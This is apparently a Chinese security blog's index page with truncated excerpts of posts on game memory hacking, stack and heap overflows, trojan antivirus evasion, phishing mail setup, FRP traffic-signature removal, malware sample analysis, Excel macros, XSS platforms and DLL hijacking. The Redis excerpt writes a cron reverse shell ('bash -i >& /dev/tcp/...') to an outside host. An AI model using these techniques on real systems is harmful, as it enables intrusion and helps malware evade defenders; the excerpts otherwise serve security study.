为什么选这个地址?因为只有这个地址改变了,其他的没变
为什么要使用这个方法?因为使用了找出是什么改写了这个地址无法准确的定位到上一级的地址
可以看到值在疯狂的刷新,然后再次搜索0A167E38
依旧找到了一个疯狂刷新的值,接着找到了0AA5DADC这个值,然后继续搜索
看看我们发现了什么?和我们子弹的基址是一样的,那么我们就可以断定,这个值是我们当前角色的基址,而另一个是所有玩家的基址,最终我们得到了如下结果
然后我们添加机器人验证,可以看到所有人血量的地 ...
CSGO破解学习(一)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
准备工作
CSGO1.6版本
分卷1
分卷2
分卷3
Cheat Engine下载地址
搜索子弹
在正式开始前还是需要一些基本的使用知识,首先我们通过内存搜索子弹,然后基于二分法进行筛选数据
上面是我们搜索出来的数据,暂时把它定义为当前地图当前身份当前人物手持的这一把AK枪的子弹内存
为什么要这样喊呢?因为在游戏里面会有多个数据结构环环嵌套,指针一个指向一个进行套娃
我们通过:右键该内存->找出是什么改写了这个地址
然后我们点击手动添加地址把06F03960加上偏移CC,即可显示当前枪械的子弹
所以06F03960就是我们上一级的地址,我们只需要使用新的扫描来搜索
可以看到4个地址,接下来我们回到游戏,把主武器丢弃查看变化
可以看到第一个地址的值变为了00000000,那我们可以知道这个地址是当前主武器的名称,而里面的06F03960是这个武器的名称。我们尝试丢弃主武器后重新换一把枪
接下 ...
Linux栈溢出总结(0x00)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离第一篇栈溢出学习文章已经过去了1年半了,今天看到一篇文章终于解决了之前的一些疑惑,也理清了很多东西,记录一下,原文地址
https://mp.weixin.qq.com/s/cmLp5aHfqy1-wYiNiqdq-Q
什么是栈
简单来说,栈 是一种 LIFO(Last In Frist Out,后进先出) 形式的数据结构。栈一般是从高地址向低地址增长,并且栈支持 push(入栈) 和 pop(出栈) 两个操作。如下图所示:
push 操作先将 栈顶(sp指针) 向下移动一个位置,然后将数据写入到新的栈顶;而 pop 操作会从 栈顶 读取数据,并且将 栈顶(sp指针) 向上移动一个位置。
例如,将 0x100 压入栈,过程如下图所示:
我们再来看看 出栈 操作,如下图所示:
栈帧
栈帧,也就是 Sack Frame,其本质就是一种栈,只是这种栈专门用于保存函数调用过程中的各种信息(参数,返回地址,本地变量等 ...
Go使用WindowsApi笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在学Go相关的免杀,来提高木马的存活性,看到一些有意思的东西记下来
加载DLL
要在Go中加载DLL,可以使用syscall.NewLazyDLL或syscall.LoadLibrary 以及syscall.MustLoadDLL。
NewLazyDLL返回一个*LazyDLL,懒加载,只在第一次调用其函数时才加载库;
LoadLibrary是立即加载DLL库。
创建函数
syscall.NewLazyDLL
package mainimport ( "syscall" "unsafe")func main() { user32 := syscall.NewLazyDLL("user32.dll") MessageBoxW := user32.NewProc("MessageBoxW") MessageBoxW.Call ...
关于邮件钓鱼的哪些事(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
首先需要编写一个钓鱼一键化平台,然后进入我们的正题
搭建邮件服务器
首先卸载Postfix
如果没有Postfix就跳过
sudo systemctl stop postfixsudo apt remove postfix && apt purge postfix
安装Sendmail
sudo apt install sendmail
配置Sendmail服务器
sudo sendmailconfig
接收输入电子邮件
编辑/etc/mail/sendmail.mc
DAEMON_OPTIONS(`Family=inet, Name=MTA-v4, Port=smtp, Addr=127.0.0.1')dnlDAEMON_OPTIONS(`Family=inet, Name=MSP-v4, Port=submission, M=Ea, Addr=127.0.0.1')dnl# ...
Redis写SHELL
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
通过计划任务获取SHELL
首先进行连接
redis-cli -h 192.168.251.17 -p 6379
然后设置文件夹路径
config set dir /var/spool/cron/crontabs
如果出现(error) ERR Changing directory: Permission denied标明Redis并不是root权限启动的,权限不足,需要使用redis-server /etc/redis/redis.conf来启动程序,不能使用service redis start来启动
接着修改文件,Ubuntu的计划任务是在这个文件中
config set dbfilename root
设置计划任务,需要添加\n符号,因为写进去后会有很多无用数据
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.251.16/8899 0&g ...
常见工具特征去除
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
FRP改造
改造之前
在受害者机器上使用frpc.exe -c frpc_socker.ini连接服务起的时候,会产生一个这种数据校检
流量改造
pkg\msg\msg.go
这几个函数中保存着上面的信息
我在前加个了前缀
而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下
改成随便一个版本
结果如下
编译方式
首先执行make会进行一些GitHub的包下载(最好使用代理
接着执行make -f Makefile.cross-compiles进行编译
配置文件改造
全称只需要修改这个文件cmd/frpc/sub/root.go
先修改var位置,添加ip、port、fileContent这三个参数
var ( cfgFile string showVersion bool serverAddr string user ...
蔓灵花APT组织针对巴基斯坦定向攻击的样本分析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容
样本
文件类型
PE32 executable (console) Intel 80386, for MS Windows
文件大小
31KB
MD5
8d42c01180be7588a2a68ad96dd0cf85
SHA1
89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256
0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
时间戳
0x5C32FC2B (Mon Jan 07 15:13:47 2019)
PDB
c:\Users\Asterix\Documents\Visual Studio 2008\Projects\ ...
Linux堆溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
HVV结束,终于能闲下来学习了,开新坑啦~好耶~
记个小知识点
libc是Linux下的ANSI C函数库。
glibc是Linux下的GUN C函数库。
Linux下原来的标准c库Linux libc逐渐不再被维护。Linux下面的标准c库不仅有这一个,如uclibc、klibc,以及上面被提到的Linux libc,但是glibc无疑是用得最多的。glibc在/lib目录下的.so文件为libc.so.6。
堆内存管理机制介绍
不同平台的堆内存管理机制不相同,下面是几个常见平台的堆内存管理机制:
平台
堆内存分配机制
General purpose allocator
dlmalloc
glibc
ptmalloc2
free BSD and Firefox
jemalloc
Google
tcmalloc
Solaris
libumem
在 Linux 的 g ...
Linux栈溢出总结(0x03)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
上篇文章真的就是一改就花了一个月时间,然后发现篇幅有点太长了分割一下,感觉这篇也需要好久
记录
几个未填坑的点
如何计算出TLS的offset大小(EXP抄的,我也懵
SSP题目中,为什么当可执行文件足够小的时候,他的不同区段可能会被多次映射?
绕过PIE保护
测试代码(题目泄露地址)
//test.c#include <unistd.h>#include <stdio.h>void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char *argv[]) { printf("%p\n",&main); vuln_func(); write(STDOUT_FILENO, "Hello world!\n&qu ...
Office Excel Macro
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
好久没笼统的学习了,梳理下Excel宏相关的东西以防下次要用的时候都不会。
关于宏
据我所知微软office所支持的宏里面,目前有两种
1992年:微软在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。
1993年:微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。
从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。
Macro 4.0
简单利用
在箭头位置点击右键->插入即可使用
接着会出现一个新建的宏表格,我们在表格中添加如下命令,即可完成一个简单的宏
=EXEC("calc.exe")=ALERT("hello ascotb ...
从零开始编写XSS平台
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在我们日常渗透或者红队打点的时候都或多或少的会挖掘到XSS漏洞,由于红队钓鱼也经常用到XSS平台,虽然网上免费可以注册的平台很多,但是这些平台都是别人的首先钓鱼到的数据并不是只有你一个人可见,网站的管理员也可以看的到,这就会对某些敏感的红队项目的信息造成泄漏,其次网站也经常不稳定,尝尝十天半个月就要换一个平台重新来一次,所以这篇文章就来了~
项目地址:https://github.com/Ascotbe/Medusa
什么是XSS
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading S ...
Linux ELF格式解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在写PE结构解析的时候,以为ELF结构没必要去看文件结构,直到后面做了PWN题发现不是这样的,所有还是学习下ELF结构,然后再写个解析器
常见结构区分
目前,PC平台流行的可执行文件格式(Executable)主要包含如下两种,它们都是COFF(Common File Format)格式的变种
Windows下的PE(Portable Executable)
Linux下的ELF(Executable Linkable Format)
源代码经过编译后但未进行连接的那些中间文件(Windows的.obj和Linux的.o),它与可执行文件的格式非常相似,所以一般跟可执行文件格式一起采用同一种格式存储。
其中动态链接库(DDL,Dynamic Linking Library)和静态链接库(Static Linking Library)的格式都和当前系统对应的可执行文件结构一样
动态链接库:Windows的.dl ...
Linux栈溢出总结(0x02)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了
写在前面的几个笔记
CALL和RET指令解释
CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH返回地址与JMP函数地址的指令序列
RET指令跳转到CALL指令保存的返回地址,讲控制权交还给调用函数。等价于POP返回地址与JMP返回地址的指令序列
AMD64和i386的区别
由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下
首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI、RSI、RDX、RCX、 R8和R9中,如果还有更多的参数的 ...
Linux栈溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
记录下自己学习堆栈溢出的内容,这篇就是栈溢出入门的东西,也算是栈溢出总结的上篇,缝合怪文章大部分都是参考各个师傅的文章。写文章的初心是为了总结梳理下自己的学习过程。22年重新修改部分内容
栈溢出利用方式
ROP(修改返回地址,让其指向内存中已有的一段指令
ret2shellcode(修改返回地址,让其指向溢出数据中的一段指令
ret2libc(修改返回地址,让其指向内存中已有的某个函数
BROP
ret2dl-resolve
SROP
常用保护机制
CANNARY金丝雀(栈保护)/Stack protect/栈溢出保护
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击 ...
恶意程序研究之DLL劫持
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
DLL劫持
DLL劫持一直深受黑客们的喜欢,利用此技术可以实现启动木马后门,游戏外挂插件的注入,绕过UAC等操作。
全文约定:全文中系统盘所在的位置默认为C盘
DLL加载顺序
DLL是以文件的形式存在在硬盘中,那么应用程序又是如何索引所需的DLL呢?其实,Microsoft已在此处完整记录了DLL搜索顺序。
微软的DLL劫持分为三个阶段
无保护阶段:Windows XP SP2之前
保护阶段:Windows XP SP2之后,Windows 7之前
进一步保护阶段:Windows 7之后
Windows XP SP2之前
进程对应的应用程序所在目录;
加载 DLL 时所在的当前目录;
系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
16位系统目录即 SYSTEM 目录;
Windows目录(通过 GetWindowsDirectory 获取);
PATH环境变量中的各个目录 ...